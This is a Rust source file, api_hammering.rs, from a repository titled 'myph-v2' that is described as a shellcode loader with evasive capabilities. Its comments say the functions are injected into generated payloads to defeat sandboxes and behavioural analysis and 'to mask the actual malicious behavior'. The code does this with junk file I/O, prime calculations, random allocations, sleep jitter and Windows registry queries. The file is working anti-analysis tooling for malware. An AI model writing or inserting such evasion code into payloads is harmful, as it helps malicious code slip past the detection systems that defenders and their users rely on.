myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

api_hammering.rs (5113B)

      1 //! API Hammering - Evasion technique to defeat behavioral analysis
      2 //!
      3 //! This module implements API hammering, an anti-analysis technique that adds
      4 //! random CPU-intensive and I/O operations between API calls to evade sandbox
      5 //! detection and behavioral analysis engines.
      6 //!
      7 //! # Techniques Used
      8 //!
      9 //! - **Random File I/O**: Creates, writes, reads, and deletes temporary files
     10 //!   with random names and extensions to generate I/O noise
     11 //! - **CPU-Intensive Operations**: Calculates prime numbers to consume CPU
     12 //!   cycles and add timing variations
     13 //!
     14 //! # Usage
     15 //!
     16 //! These functions are injected into the generated payload code when the
     17 //! `--with-api-hammering` flag is enabled. They are called between critical
     18 //! API operations to mask the actual malicious behavior.
     19 
     20 use rand::{thread_rng, Rng};
     21 use std::fs::{remove_file, File};
     22 use std::io::{self, Read, Write};
     23 
     24 pub fn write_random_files(num: usize) -> io::Result<()> {
     25     let dir = std::env::temp_dir();
     26 
     27     for _ in 0..num {
     28         let mut rng = thread_rng();
     29         let random_suffix: u32 = rng.gen();
     30         let extensions = [".log", ".bitmap", ".txt"];
     31         let extension = extensions[rng.gen_range(0..extensions.len())];
     32         let file_name = format!("{:x}{}", random_suffix, extension);
     33         let path = dir.as_path().join(&file_name);
     34 
     35         let size = 0xFFFFF;
     36 
     37         let mut file = File::create(&path)?;
     38         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     39         file.write_all(&data)?;
     40 
     41         let mut file = File::open(&path)?;
     42         let mut buffer = vec![0; size];
     43         file.read_exact(&mut buffer)?;
     44 
     45         remove_file(path)?;
     46     }
     47 
     48     Ok(())
     49 }
     50 
     51 #[no_mangle]
     52 #[inline(never)]
     53 pub fn calc_primes(iterations: usize) {
     54     let mut prime = 2;
     55     let mut i = 0;
     56     while i < iterations {
     57         if (2..prime).all(|j| prime % j != 0) {
     58             i += 1;
     59         }
     60         prime += 1;
     61     }
     62 }
     63 
     64 pub fn allocate_random_memory(num_allocs: usize) {
     65     let mut allocations = Vec::new();
     66     let mut rng = thread_rng();
     67 
     68     for _ in 0..num_allocs {
     69         let size = 1024 + rng.gen_range(0..8192);
     70         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     71         allocations.push(data);
     72     }
     73 }
     74 
     75 pub fn transform_strings(iterations: usize) {
     76     let mut rng = thread_rng();
     77 
     78     for _ in 0..iterations {
     79         let len = rng.gen_range(5..15);
     80         let s: String = (0..len)
     81             .map(|_| {
     82                 let idx = rng.gen_range(0..26);
     83                 (b'a' + idx) as char
     84             })
     85             .collect();
     86         let _uppercase = s.to_uppercase();
     87         let _lowercase = s.to_lowercase();
     88         let _repeated = s.repeat(3);
     89         let _reversed: String = s.chars().rev().collect();
     90     }
     91 }
     92 
     93 pub fn sleep_random_jitter(max_millis: u64) {
     94     let mut rng = thread_rng();
     95     let jitter = rng.gen_range(0..max_millis);
     96     std::thread::sleep(std::time::Duration::from_millis(jitter));
     97 }
     98 
     99 #[cfg(windows)]
    100 pub fn query_registry_keys(num_queries: usize) -> io::Result<()> {
    101     use std::process::Command;
    102 
    103     let keys = [
    104         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
    105         r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
    106         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
    107         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
    108         r"HKEY_CURRENT_USER\Environment",
    109         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
    110         r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
    111         r"HKEY_CURRENT_USER\Software\Classes",
    112         r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
    113         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
    114     ];
    115     let mut rng = thread_rng();
    116 
    117     for _ in 0..num_queries {
    118         let key = keys[rng.gen_range(0..keys.len())];
    119         let _ = Command::new("reg").args(&["query", key]).output();
    120     }
    121 
    122     Ok(())
    123 }
    124 
    125 #[cfg(not(windows))]
    126 pub fn query_registry_keys(_num_queries: usize) -> io::Result<()> {
    127     Ok(())
    128 }
    129 
    130 #[cfg(test)]
    131 mod tests {
    132     use super::*;
    133 
    134     #[test]
    135     fn test_calc_primes_completes() {
    136         calc_primes(5);
    137     }
    138 
    139     #[test]
    140     fn test_write_random_files_succeeds() {
    141         let result = write_random_files(1);
    142         if let Err(e) = &result {
    143             eprintln!("Error: {:?}", e);
    144         }
    145         assert!(result.is_ok());
    146     }
    147 
    148     #[test]
    149     fn test_write_random_files_creates_and_removes() {
    150         let result = write_random_files(1);
    151         if let Err(e) = &result {
    152             eprintln!("Error during write_random_files: {:?}", e);
    153         }
    154         assert!(result.is_ok(), "write_random_files should succeed");
    155     }
    156 
    157     #[test]
    158     fn test_allocate_random_memory_completes() {
    159         allocate_random_memory(5);
    160     }
    161 
    162     #[test]
    163     fn test_transform_strings_completes() {
    164         transform_strings(10);
    165     }
    166 
    167     #[test]
    168     fn test_sleep_random_jitter_completes() {
    169         sleep_random_jitter(5);
    170     }
    171 
    172     #[test]
    173     fn test_query_registry_keys_succeeds() {
    174         let result = query_registry_keys(1);
    175         assert!(result.is_ok());
    176     }
    177 }